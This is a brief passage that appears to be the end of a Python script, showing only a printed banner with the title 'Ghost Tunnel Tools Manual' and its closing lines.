---------------------------------- 178 | Ghost Tunnel Tools Manual... 179 | ---------------------------------- 180 | ''') 181 | --------------------------------------------------------------------------------